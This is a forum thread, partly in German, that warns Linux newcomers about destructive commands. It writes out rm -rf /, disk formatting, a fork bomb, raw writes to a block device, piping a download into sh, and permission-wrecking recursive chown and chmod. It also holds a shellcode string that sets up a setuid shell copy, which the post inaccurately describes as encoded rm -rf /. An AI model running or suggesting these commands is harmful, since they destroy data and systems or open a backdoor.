The 7 deadly Linuxcommands

michael-08

michael-08

New Member
If you are new to Linux, chances are you will meet a stupid person perhaps in a forum or chat room that can trick you into using commands that will harm your files or even your entire operating system. To avoid this dangerous scenario from happening, I have here a list of deadly Linux commands that you should avoid.


  1. 1. Code:

    rm -rf /

    This command will recursively and forcefully delete all the files inside the root directory.
  2. 2. Code:

    char esp[] __attribute__ ((section(".text"))) /* e.s.p
    release */
    = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
    "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
    "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
    "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
    "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
    "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
    "\x6e\x2f\x73\x68\x00\x2d\x63\x00"
    "cp -p /bin/sh /tmp/.beyond; chmod 4755
    /tmp/.beyond;";

    This is the hex version of [rm -rf /] that can deceive even the rather experienced Linux users.
  3. 3. Code:

    mkfs.ext3 /dev/sda

    This will reformat or wipeout all the files of the device that is mentioned after the mkfs command.
  4. 4. Code:

    :(){:|:&};:

    Known as forkbomb, this command will tell your system to execute a huge number of processes until the system freezes. This can often lead to corruption of data.
  5. 5. Code:

    any_command > /dev/sda

    With this command, raw data will be written to a block device that can usually clobber the filesystem resulting in total loss of data.
  6. 6. Code:

    wget http://some_untrusted_source -O- | sh

    Never download from untrusted sources, and then execute the possibly malicious codes that they are giving you.
  7. 7. Code:

    mv /home/yourhomedirectory/* /dev/null

    This command will move all the files inside your home directory to a place that doesn't exist; hence you will never ever see those files again.

There are of course other equally deadly Linux commands that I fail to include here, so if you have something to add, please share it with us via comment
Click to expand...

Gibts noch welche anzufügen?

Quelle
 
Last edited by a moderator:
2. Code:

char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
.
.
.
.
This is the hex version of [rm -rf /] that can deceive even the rather experienced Linux users.
Click to expand...

Also wenn erfahrene Linux-User nicht erkennen, dass es sich hier um Shellcode handelt, wie er beispielsweise auch ggf. in Exploits vorkommen kann... dann hockt vllt. die falsche Person vorm Rechner :)
 
Also ich find das mit dem "chown -R www-data /" um einiges lustiger

Code: 
Auch wenn ich nicht weiß, was es bringen soll, aber es gibt immer totsichere Serverkiller, z.B. der hier:
https://serversupportforum.de/threads/rechte-neu-setzen.33121
 
Code: 
cd / && chmod -R 3 *
kill -9 1 Problem wenn gerade große DBs am werkeln sind ;)

führt auch zu Problemen ;)
 
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